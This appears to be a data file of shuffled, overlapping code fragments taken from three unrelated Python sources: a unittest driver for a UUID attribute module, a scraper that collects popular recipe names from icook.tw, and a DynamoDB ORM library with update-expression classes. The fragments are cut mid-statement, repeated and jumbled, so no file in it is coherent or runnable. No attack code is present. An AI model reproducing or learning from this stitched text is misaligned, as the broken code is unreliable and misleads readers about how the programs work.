"uuid import uuid1 from camd3.infrastructure.component import ( Component, register_utility, UniqueIdAttribute)",
"yield uuid1() class ExplID(Component): id = UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self): self.__class__.id.set_once(self)",
"class ExplID(Component): id = UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self): self.__class__.id.set_once(self) class ImplID(Component):",
"= ExplID() self.assertNotIn(cid.id, ids) ids.add(cid.id) if __name__ == '__main__': #",
"setUp(self): register_utility(uuid_generator(), UUIDGenerator) self.cid = ImplID() def test_init(self): cid =",
"Test driver for module 'uidattr' # # Author: <NAME> (<EMAIL>)",
"ids.add(cid.id) if __name__ == '__main__': # pragma: no cover unittest.main()",
"range(10): cid = ExplID() self.assertNotIn(cid.id, ids) ids.add(cid.id) if __name__ ==",
"D103 while True: yield uuid1() class ExplID(Component): id = UniqueIdAttribute(uid_gen=custom_uuid_generator())",
"ExplID() self.assertNotIn(cid.id, ids) ids.add(cid.id) if __name__ == '__main__': # pragma:",
"self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def test_uniqueness(self): ids = {self.cid.id} for i in",
"UniqueIdAttributeTest(unittest.TestCase): def setUp(self): register_utility(uuid_generator(), UUIDGenerator) self.cid = ImplID() def test_init(self):",
"---------------------------------------------------------------------------- # Name: test_uidattr # Purpose: Test driver for module",
"UUIDGenerator, uuid_generator) # factory for UUIDs def custom_uuid_generator() -> UUIDGenerator:",
"noqa: D103 while True: yield uuid1() class ExplID(Component): id =",
"\"\"\"Test driver for module 'uidattr'\"\"\" import unittest from uuid import",
"import unittest from uuid import uuid1 from camd3.infrastructure.component import (",
"self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase): def setUp(self): register_utility(uuid_generator(), UUIDGenerator) self.cid = ImplID()",
"# factory for UUIDs def custom_uuid_generator() -> UUIDGenerator: # noqa:",
"# Purpose: Test driver for module 'uidattr' # # Author:",
"= UniqueIdAttribute() def __init__(self): self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase): def setUp(self): register_utility(uuid_generator(),",
"<NAME> # ---------------------------------------------------------------------------- # $Source$ # $Revision$ \"\"\"Test driver for",
"coding: utf-8 -*- # ---------------------------------------------------------------------------- # Name: test_uidattr # Purpose:",
"from camd3.infrastructure.component import ( Component, register_utility, UniqueIdAttribute) from camd3.infrastructure.component.idfactories import",
"# Author: <NAME> (<EMAIL>) # # Copyright: (c) 2018 <NAME>",
"(<EMAIL>) # # Copyright: (c) 2018 <NAME> # ---------------------------------------------------------------------------- #",
"ImplID(Component): id = UniqueIdAttribute() def __init__(self): self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase): def",
"Purpose: Test driver for module 'uidattr' # # Author: <NAME>",
"class UniqueIdAttributeTest(unittest.TestCase): def setUp(self): register_utility(uuid_generator(), UUIDGenerator) self.cid = ImplID() def",
"# # Copyright: (c) 2018 <NAME> # ---------------------------------------------------------------------------- # $Source$",
"= ImplID() self.assertIsNotNone(cid.id) self.assertIsNotNone(cid._id) def test_uniqueness(self): ids = {self.cid.id} for",
"# -*- coding: utf-8 -*- # ---------------------------------------------------------------------------- # Name: test_uidattr",
"cid = ExplID() self.assertNotIn(cid.id, ids) ids.add(cid.id) if __name__ == '__main__':",
"$Revision$ \"\"\"Test driver for module 'uidattr'\"\"\" import unittest from uuid",
"for module 'uidattr'\"\"\" import unittest from uuid import uuid1 from",
"uuid_generator) # factory for UUIDs def custom_uuid_generator() -> UUIDGenerator: #",
"for i in range(10): cid = ExplID() self.assertNotIn(cid.id, ids) ids.add(cid.id)",
"( Component, register_utility, UniqueIdAttribute) from camd3.infrastructure.component.idfactories import ( UUIDGenerator, uuid_generator)",
"$Source$ # $Revision$ \"\"\"Test driver for module 'uidattr'\"\"\" import unittest",
"UniqueIdAttribute(uid_gen=custom_uuid_generator()) def __init__(self): self.__class__.id.set_once(self) class ImplID(Component): id = UniqueIdAttribute() def",
"# Copyright: (c) 2018 <NAME> # ---------------------------------------------------------------------------- # $Source$ #",
"in range(10): cid = ExplID() self.assertNotIn(cid.id, ids) ids.add(cid.id) if __name__",
"register_utility, UniqueIdAttribute) from camd3.infrastructure.component.idfactories import ( UUIDGenerator, uuid_generator) # factory",
"python3 # -*- coding: utf-8 -*- # ---------------------------------------------------------------------------- # Name:",
"camd3.infrastructure.component.idfactories import ( UUIDGenerator, uuid_generator) # factory for UUIDs def",
"'uidattr' # # Author: <NAME> (<EMAIL>) # # Copyright: (c)",
"class ImplID(Component): id = UniqueIdAttribute() def __init__(self): self.__class__.id.set_once(self) class UniqueIdAttributeTest(unittest.TestCase):",
"self.assertNotIn(cid.id, ids) ids.add(cid.id) if __name__ == '__main__': # pragma: no",
"driver for module 'uidattr'\"\"\" import unittest from uuid import uuid1",
"UUIDGenerator: # noqa: D103 while True: yield uuid1() class ExplID(Component):",
"uuid1 from camd3.infrastructure.component import ( Component, register_utility, UniqueIdAttribute) from camd3.infrastructure.component.idfactories"
] |
[
"bs4 import BeautifulSoup def get_web_page(url): resp = requests.get( url=url, )",
"current_articles = get_articles(page) i=1 s='' for post in current_articles: temp=str(post)",
"url:', resp.url) return None else: return resp.text def get_articles(dom): soup",
"!= 200: print('Invalid url:', resp.url) return None else: return resp.text",
"soup.find_all('a','recipe-name') articles=tag return articles def run(): page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if",
") if resp.status_code != 200: print('Invalid url:', resp.url) return None",
"current_articles: temp=str(post) num=int(temp.find(\"\\\" href=\")) #print('The Number {0}: {1}'.format(i, temp[35:num])) s=s+'The",
"BeautifulSoup def get_web_page(url): resp = requests.get( url=url, ) if resp.status_code",
"get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page: current_articles = get_articles(page) i=1 s='' for post",
"'html.parser') tag = soup.find_all('a','recipe-name') articles=tag return articles def run(): page",
"in current_articles: temp=str(post) num=int(temp.find(\"\\\" href=\")) #print('The Number {0}: {1}'.format(i, temp[35:num]))",
"return articles def run(): page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page: current_articles",
"tag = soup.find_all('a','recipe-name') articles=tag return articles def run(): page =",
"for post in current_articles: temp=str(post) num=int(temp.find(\"\\\" href=\")) #print('The Number {0}:",
"BeautifulSoup(dom, 'html.parser') tag = soup.find_all('a','recipe-name') articles=tag return articles def run():",
"= BeautifulSoup(dom, 'html.parser') tag = soup.find_all('a','recipe-name') articles=tag return articles def",
"if resp.status_code != 200: print('Invalid url:', resp.url) return None else:",
"{0}: {1}'.format(i, temp[35:num])) s=s+'The Number {0}: {1}\\n'.format(i, temp[35:num]) i=i+1 return",
"#print('The Number {0}: {1}'.format(i, temp[35:num])) s=s+'The Number {0}: {1}\\n'.format(i, temp[35:num])",
"return resp.text def get_articles(dom): soup = BeautifulSoup(dom, 'html.parser') tag =",
"resp.text def get_articles(dom): soup = BeautifulSoup(dom, 'html.parser') tag = soup.find_all('a','recipe-name')",
"resp = requests.get( url=url, ) if resp.status_code != 200: print('Invalid",
"= requests.get( url=url, ) if resp.status_code != 200: print('Invalid url:',",
"def get_web_page(url): resp = requests.get( url=url, ) if resp.status_code !=",
"import BeautifulSoup def get_web_page(url): resp = requests.get( url=url, ) if",
"= get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page: current_articles = get_articles(page) i=1 s='' for",
"200: print('Invalid url:', resp.url) return None else: return resp.text def",
"if page: current_articles = get_articles(page) i=1 s='' for post in",
"get_articles(page) i=1 s='' for post in current_articles: temp=str(post) num=int(temp.find(\"\\\" href=\"))",
"i=1 s='' for post in current_articles: temp=str(post) num=int(temp.find(\"\\\" href=\")) #print('The",
"None else: return resp.text def get_articles(dom): soup = BeautifulSoup(dom, 'html.parser')",
"Number {0}: {1}'.format(i, temp[35:num])) s=s+'The Number {0}: {1}\\n'.format(i, temp[35:num]) i=i+1",
"<gh_stars>0 import requests import time from bs4 import BeautifulSoup def",
"soup = BeautifulSoup(dom, 'html.parser') tag = soup.find_all('a','recipe-name') articles=tag return articles",
"s='' for post in current_articles: temp=str(post) num=int(temp.find(\"\\\" href=\")) #print('The Number",
"run(): page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page: current_articles = get_articles(page) i=1",
"resp.url) return None else: return resp.text def get_articles(dom): soup =",
"resp.status_code != 200: print('Invalid url:', resp.url) return None else: return",
"def run(): page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page: current_articles = get_articles(page)",
"page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page: current_articles = get_articles(page) i=1 s=''",
"= get_articles(page) i=1 s='' for post in current_articles: temp=str(post) num=int(temp.find(\"\\\"",
"= soup.find_all('a','recipe-name') articles=tag return articles def run(): page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer')",
"get_web_page(url): resp = requests.get( url=url, ) if resp.status_code != 200:",
"print('Invalid url:', resp.url) return None else: return resp.text def get_articles(dom):",
"import requests import time from bs4 import BeautifulSoup def get_web_page(url):",
"articles def run(): page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page: current_articles =",
"url=url, ) if resp.status_code != 200: print('Invalid url:', resp.url) return",
"import time from bs4 import BeautifulSoup def get_web_page(url): resp =",
"def get_articles(dom): soup = BeautifulSoup(dom, 'html.parser') tag = soup.find_all('a','recipe-name') articles=tag",
"from bs4 import BeautifulSoup def get_web_page(url): resp = requests.get( url=url,",
"requests.get( url=url, ) if resp.status_code != 200: print('Invalid url:', resp.url)",
"{1}'.format(i, temp[35:num])) s=s+'The Number {0}: {1}\\n'.format(i, temp[35:num]) i=i+1 return s",
"num=int(temp.find(\"\\\" href=\")) #print('The Number {0}: {1}'.format(i, temp[35:num])) s=s+'The Number {0}:",
"return None else: return resp.text def get_articles(dom): soup = BeautifulSoup(dom,",
"requests import time from bs4 import BeautifulSoup def get_web_page(url): resp",
"page: current_articles = get_articles(page) i=1 s='' for post in current_articles:",
"temp=str(post) num=int(temp.find(\"\\\" href=\")) #print('The Number {0}: {1}'.format(i, temp[35:num])) s=s+'The Number",
"else: return resp.text def get_articles(dom): soup = BeautifulSoup(dom, 'html.parser') tag",
"get_articles(dom): soup = BeautifulSoup(dom, 'html.parser') tag = soup.find_all('a','recipe-name') articles=tag return",
"post in current_articles: temp=str(post) num=int(temp.find(\"\\\" href=\")) #print('The Number {0}: {1}'.format(i,",
"href=\")) #print('The Number {0}: {1}'.format(i, temp[35:num])) s=s+'The Number {0}: {1}\\n'.format(i,",
"articles=tag return articles def run(): page = get_web_page('https://icook.tw/recipes/popular?ref=icook-footer') if page:",
"time from bs4 import BeautifulSoup def get_web_page(url): resp = requests.get("
] |
[
": str, optional Name of the property in the DynamoDB",
"\" \" + \", \".join(update_dict[operation])) return \" \".join(expressions) def serialize(self):",
"= attr def update_dict(self): serialized_attr = itemize_attr(self.attr) return { \"REMOVE\":",
"elif isinstance(value, BaseAttribute): return itemize_attr(value) elif type(value) in [list, set,",
"size of a collection \"\"\" return Size(self._awstin_name) # --- Update",
"query, scan, get_item \"\"\" return { **self._dynamo_projection(), **self._index_kwargs(), } def",
"kwargs.items(): if name not in model_attrs: msg = f\"{type(self)!r} has",
"\"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class RemoveOperator(UpdateOperator): def",
"**serialized_attr[\"ExpressionAttributeNames\"], ) return { \"ADD\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"]",
"**ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } def",
"to be passed to DynamoDB get attribute calls to employ",
"= {} for dynamo_name, model_name in model_attrs.items(): value = getattr(self,",
"\"\"\" Serialize a DynamoModel subclass to JSON that can be",
"---- Update Operands def serialize_operand(value): name = str(uuid.uuid4())[:8] if isinstance(value,",
"defining a new value \"\"\" return SetOperator(self, UpdateOperand(expression)) def remove(self):",
"class Attr(BaseAttribute): \"\"\" Used to define and query non-key attributes",
"should be passed to query, scan, get_item \"\"\" return {",
"attr, operand): self.attr = attr self.operand = operand def update_dict(self):",
"letter if current_section: parts.append(current_section) serialized = \"\" name_map = {}",
"\"ExpressionAttributeValues\": {}, } return result class UpdateOperand: \"\"\" Inner part",
"uuid from abc import ABC, abstractmethod from collections import defaultdict",
"for section in sections: name = \"#\" + str(uuid.uuid4())[:8] name_map[name]",
"value): \"\"\" Filter results by a key or attribute beginning",
"``Table.update_item``. Parameters ---------- expression : UpdateOperand New value, or an",
"= list(ser_left.items()) + list(ser_right.items()) for key, values in items: if",
"serialized_operand = self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return",
"update expressions \"\"\" def __init__(self, left, right): self.left = left",
"results \"\"\" in_values = [to_decimal(value) for value in values] return",
"right self.symbol = symbol def serialize(self): ser_left = serialize_operand(self.left) ser_right",
"\"\"\" return BotoAttr(self._awstin_name).not_exists() def size(self): \"\"\" Filter by size of",
"for k, v in value.items()} else: value = to_decimal(value) result[dynamo_name]",
"self.attr = attr self.operand = operand def update_dict(self): serialized_attr =",
"), \"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ), } class ListAppendOperand(UpdateOperand): \"\"\"",
"cls._dynamodb_attributes() result = cls() for attr in model_attrs.values(): setattr(result, attr,",
"Any Result must contain this item \"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value)) def",
"\"ExpressionAttributeValues\": {}, } class DeleteOperator(UpdateOperator): def __init__(self, attr, operand): self.attr",
"type(self)._dynamodb_attributes().values() for name in model_attrs: setattr(self, name, NOT_SET) for name,",
"+ name return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name:",
"return self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high), ) def __eq__(self, value): return self._query_type(self._awstin_name).eq(to_decimal(value))",
"value = type(value)(from_decimal(v) for v in value) elif type(value) is",
"dynamo_name, model_name in model_attrs.items(): value = getattr(self, model_name) if value",
"k, v in value.items()} else: value = to_decimal(value) result[dynamo_name] =",
"Set by user self._attribute_name = attribute_name # Set by Model",
"expression, \"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"],",
"class UpdateOperand: \"\"\" Inner part of an update expression \"\"\"",
"), } class ListAppendOperand(UpdateOperand): \"\"\" Combine two lists \"\"\" def",
"serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } #",
"{} for dynamo_name, model_name in model_attrs.items(): value = getattr(self, model_name)",
"result = { \"UpdateExpression\": self.update_expression(update_dict), } if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] =",
"\"\"\" Set a value if the given attribute does not",
"in_(self, values): \"\"\" Filter results by existence in a set",
"attr)._awstin_name: attr for attr in dir(self) if isinstance(getattr(self, attr), BaseAttribute)",
"hasattr(self, \"_index_name_\"): return dict( IndexName=self._index_name_, ) else: return {} class",
"of (str, Any) Serialized model Returns ------- DynamoModel The deserialized",
"update expression \"ExpressionAttributeNames\": Placeholder map for attribute names \"ExpressionAttributeValues\": Placeholder",
"def __gt__(self, value): return self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self, value): return self._query_type(self._awstin_name).gte(to_decimal(value))",
"dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ), } class ListAppendOperand(UpdateOperand): \"\"\" Combine two",
"= { \"UpdateExpression\": serialized, \"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\": {}, } return",
"Key(BaseAttribute): \"\"\" Used to define and query hash and sort",
"= itemize_attr(self.attr) serialized_operand = self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"],",
"value in values] return BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self, value): return BotoAttr(self._awstin_name).ne(to_decimal(value))",
"__eq__(self, value): return self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self, value): return self._query_type(self._awstin_name).gt(to_decimal(value)) def",
"__init__(self, attr, value): self.attr = attr self.value = value def",
"BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self): \"\"\" Filter results by non-existence of an",
"db_attr, value in data.items(): if db_attr in model_attrs.keys(): if type(value)",
"left, right, symbol): self.left = left self.right = right self.symbol",
"for nested container queries \"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # --- Query",
"BotoAttr from boto3.dynamodb.conditions import Key as BotoKey from awstin.dynamodb.utils import",
"\"[\" in part and \"]\" in part: serialized += part",
"= \":\" + name value = type(value)([to_decimal(v) for v in",
"DELETE as part of the update expression in ``Table.update_item``. Parameters",
"value Parameters ---------- value : str Starting string for returned",
"\"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } def list_append(left, right): \"\"\"",
"model for a DynamoDB table. Subclasses must have a ``_table_name_``",
"raise AttributeError(msg) setattr(self, name, value) @classmethod def deserialize(cls, data): \"\"\"",
"model_attrs.values(): setattr(result, attr, NOT_SET) for db_attr, value in data.items(): if",
"\"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {}, } class DeleteOperator(UpdateOperator): def",
"representation of an UpdateItem expression \"\"\" def __and__(self, other): \"\"\"",
"@abstractmethod def update_dict(self): pass @staticmethod def update_expression(update_dict): expressions = []",
"dict of (str, Any) Serialized model Returns ------- DynamoModel The",
"setattr(self, name, NOT_SET) for name, value in kwargs.items(): if name",
"---------- expression : UpdateOperand Value to delete \"\"\" return DeleteOperator(self,",
"values): \"\"\" Filter results by existence in a set Parameters",
"\"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"],",
"retrieving data from DynamoDB Returns ------- dict kwargs to be",
"\"#\" + str(uuid.uuid4())[:8]: value for value in self._dynamodb_attributes().keys() } expression",
"} # ---- Update Operands def serialize_operand(value): name = str(uuid.uuid4())[:8]",
"} if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] =",
"Combine two lists \"\"\" def __init__(self, left, right): self.left =",
"Filter results by a key or attribute beginning with a",
"values : Any Result must contain this item \"\"\" return",
"are containers and contain the target value Parameters ---------- values",
"\"\"\" Support for nested mapping queries \"\"\" try: return super().__getattr__(name)",
"getattr(self, attr)._awstin_name: attr for attr in dir(self) if isinstance(getattr(self, attr),",
"return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\") def if_not_exists(self, value): \"\"\" Conditionally return",
"ListAppendOperand(UpdateOperand): \"\"\" Combine two lists \"\"\" def __init__(self, left, right):",
"to_decimal(v) for k, v in value.items()} else: value = to_decimal(value)",
"def __ne__(self, value): return BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self): \"\"\" Filter results",
"value) elif type(value) is dict: value = {from_decimal(k): from_decimal(v) for",
"\"\"\" Filter results by range (inclusive) Parameters ---------- low :",
"type(value)(to_decimal(v) for v in value) elif type(value) is dict: value",
"return BotoAttr(self._awstin_name).size() class Size(BaseAttribute): _query_type = size_query class DynamoModelMeta(type): def",
"value.items()} else: value = from_decimal(value) setattr(result, model_attrs[db_attr], value) return result",
"= \"\" name_map = {} # Separate attributes for part",
"{ getattr(self, attr)._awstin_name: attr for attr in dir(self) if isinstance(getattr(self,",
"for nested mapping queries \"\"\" try: return super().__getattr__(name) except AttributeError:",
"class Key(BaseAttribute): \"\"\" Used to define and query hash and",
"\" \".join(expressions) def serialize(self): \"\"\" Produce kwargs to be passed",
"DynamoDB table. Defaults to the name of the attribute on",
"expression): \"\"\" Delete part of a set attribute. Corresponds to",
"return self._attribute_name else: return self._name_on_model def __getattr__(self, name): \"\"\" Support",
": UpdateOperand Value to delete \"\"\" return DeleteOperator(self, UpdateOperand(expression)) def",
"other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\") def __sub__(self, other): return CombineOperand(UpdateOperand(self),",
"two update expressions \"\"\" return CombineOperator(self, other) @abstractmethod def update_dict(self):",
"two lists in an update expression \"\"\" return ListAppendOperand(UpdateOperand(left), UpdateOperand(right))",
"__getattribute__(self, name): attr = super().__getattribute__(name) if isinstance(attr, BaseAttribute): attr._name_on_model =",
"Placeholder map for attribute names \"ExpressionAttributeValues\": Placeholder map for attribute",
"of Attr and Key attributes. \"\"\" model_attrs = type(self)._dynamodb_attributes().values() for",
"__and__(self, other): \"\"\" Combine two update expressions \"\"\" return CombineOperator(self,",
"_get_kwargs(self): \"\"\" Kwargs that should be passed to query, scan,",
"Parameters ---------- value : str Index for a DynamoDB attribute",
"value = getattr(self, model_name) if value is not NOT_SET: if",
"for v in value) elif type(value) is dict: value =",
"\"\"\" Attributes to request when retrieving data from DynamoDB Returns",
"_query_type = BotoKey class Attr(BaseAttribute): \"\"\" Used to define and",
"return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\") def __sub__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other),",
"dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ) return result class SetOperator(UpdateOperator): \"\"\" Support",
"<reponame>k2bd/awstin import uuid from abc import ABC, abstractmethod from collections",
"in model_attrs.items(): value = getattr(self, model_name) if value is not",
"an attribute (numerical add or addition to a set). Corresponds",
"for key, values in items: if key in [\"SET\", \"ADD\",",
"to DynamoDB get attribute calls to employ a projection expression",
"UpdateOperand(expression)) def delete(self, expression): \"\"\" Delete part of a set",
"value def serialize(self): return serialize_operand(self.value) class CombineOperand(UpdateOperand): \"\"\" Add or",
"up the data model should be Attr or Key instances.",
"\" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ],",
"__sub__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\") def __radd__(self, other): return",
"\"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self, low, high): \"\"\" Filter results",
"expression : UpdateOperand New value, or an expression defining a",
"passed to DynamoDB Table.update_item. Keys and values are: \"UpdateExpression\": string",
"an attribute on a data model is not present in",
"# Set by user self._attribute_name = attribute_name # Set by",
"_query_type = BotoAttr def size_query(self, *args, **kwargs): return BotoAttr(self._awstin_name).size() class",
"serialized_operand[ \"ExpressionAttributeValues\" ], } class RemoveOperator(UpdateOperator): def __init__(self, attr): self.attr",
"present in a DynamoDB result \"\"\" def __str__(self): return \"<<Attribute",
"Corresponds to ADD as part of the update expression in",
": dict of (str, Any) Initialization of Attr and Key",
"for name in model_attrs: setattr(self, name, NOT_SET) for name, value",
"def in_(self, values): \"\"\" Filter results by existence in a",
"an attribute to a new value. Corresponds to SET as",
"**ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } class IfNotExistsOperand(UpdateOperand):",
"the given attribute does not exist \"\"\" def __init__(self, attr,",
"update_dict.get(operation): expressions.append(operation + \" \" + \", \".join(update_dict[operation])) return \"",
"{name: to_decimal(value)}, } def itemize_attr(attr): # Separate indexes parts =",
"value Parameters ---------- values : Any Result must contain this",
"if isinstance(value, UpdateOperand): return value.serialize() elif isinstance(value, BaseAttribute): return itemize_attr(value)",
"serialize_operand(self.left) ser_right = serialize_operand(self.right) expression = ( f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\"",
"Table.update_item. Keys and values are: \"UpdateExpression\": string representing the update",
"the deserialization. Parameters ---------- data : dict of (str, Any)",
"serialized_attr = itemize_attr(self.attr) return { \"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\":",
"DynamoDB Returns ------- dict kwargs to be passed to DynamoDB",
"UpdateOperand(value)) class Key(BaseAttribute): \"\"\" Used to define and query hash",
"= left self.right = right def update_dict(self): result = defaultdict(list)",
"return DeleteOperator(self, UpdateOperand(expression)) def __add__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\")",
"\"\"\" Support for SET \"\"\" def __init__(self, attr, operand): self.attr",
"**ser_right[\"ExpressionAttributeValues\"], ) return result class SetOperator(UpdateOperator): \"\"\" Support for SET",
"delete \"\"\" return DeleteOperator(self, UpdateOperand(expression)) def __add__(self, other): return CombineOperand(UpdateOperand(self),",
"def list_append(left, right): \"\"\" Set a value to the combination",
"if update_dict.get(operation): expressions.append(operation + \" \" + \", \".join(update_dict[operation])) return",
"def __ge__(self, value): return self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self, value): return self._query_type(self._awstin_name).lt(to_decimal(value))",
"db_attr in model_attrs.keys(): if type(value) in [list, set, tuple]: value",
"attr = super().__getattribute__(name) if isinstance(attr, BaseAttribute): attr._name_on_model = name return",
"data : dict of (str, Any) Serialized model Returns -------",
"set>>\" NOT_SET = NotSet() class BaseAttribute: def __init__(self, attribute_name: Union[str,",
"attr for attr in dir(self) if isinstance(getattr(self, attr), BaseAttribute) }",
"= serialize_operand(self.attr) ser_value = serialize_operand(self.value) expression = ( f\"if_not_exists({ser_attr['UpdateExpression']}, \"",
"with a value Parameters ---------- value : str Starting string",
"\"\"\" Kwargs that should be passed to query, scan, get_item",
"\" f\"{ser_value['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"],",
"result = {} for dynamo_name, model_name in model_attrs.items(): value =",
"super().__getattr__(name) except AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self, index): \"\"\" Support",
"table. Subclasses must have a ``_table_name_`` attribute. Attributes making up",
"letter in attr._awstin_name: if letter == \"[\": parts.append(current_section) current_section =",
"deserialize(cls, data): \"\"\" Deserialize JSON into a DynamoModel subclass. Internally",
"value]) return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: value},",
"UpdateOperand): return value.serialize() elif isinstance(value, BaseAttribute): return itemize_attr(value) elif type(value)",
") else: return {} class DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class defining an",
"from typing import Union from boto3.dynamodb.conditions import Attr as BotoAttr",
"--- def begins_with(self, value): \"\"\" Filter results by a key",
"serialized_operand[ \"ExpressionAttributeValues\" ], } class AddOperator(UpdateOperator): def __init__(self, attr, operand):",
"else: name = \":\" + name return { \"UpdateExpression\": name,",
"not NOT_SET: if type(value) in [list, set, tuple]: value =",
"\".\" part = part[1:] sections = part.split(\".\") serialized_sections = []",
"a DynamoModel subclass to JSON that can be inserted into",
"expression \"\"\" def __init__(self, value): self.value = value def serialize(self):",
"else: return {} class DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class defining an ORM",
"+ name value = type(value)([to_decimal(v) for v in value]) return",
"item \"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self): \"\"\" Filter results by",
"def __rsub__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\") def if_not_exists(self, value):",
"__radd__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\") def __rsub__(self, other): return",
"for SET \"\"\" def __init__(self, attr, operand): self.attr = attr",
"of Any Allowed values of returned results \"\"\" in_values =",
"Filter results by attributes that are containers and contain the",
"and \"]\" in part: serialized += part else: if part.startswith(\".\"):",
"\"\"\" return SetOperator(self, UpdateOperand(expression)) def remove(self): \"\"\" Remove an attribute.",
"def update_expression(update_dict): expressions = [] for operation in \"SET\", \"ADD\",",
"attribute doesn't exist on the model \"\"\" return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value))",
"attr._awstin_name: if letter == \"[\": parts.append(current_section) current_section = \"[\" elif",
"in model_attrs.values(): setattr(result, attr, NOT_SET) for db_attr, value in data.items():",
"**self._dynamo_projection(), **self._index_kwargs(), } def _dynamo_projection(self): \"\"\" Attributes to request when",
"in the DynamoDB table. Defaults to the name of the",
"for value in values] return BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self, value): return",
"in a set Parameters ---------- values : list of Any",
"update_dict(self): result = defaultdict(list) ser_left = self.left.update_dict() ser_right = self.right.update_dict()",
"for name, value in kwargs.items(): if name not in model_attrs:",
"update expression \"\"\" def __init__(self, value): self.value = value def",
"f\"{ser_right['UpdateExpression']}\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"],",
"return value.serialize() elif isinstance(value, BaseAttribute): return itemize_attr(value) elif type(value) in",
"value in kwargs.items(): if name not in model_attrs: msg =",
"= part[1:] sections = part.split(\".\") serialized_sections = [] for section",
"kwargs to be passed to DynamoDB get attribute calls to",
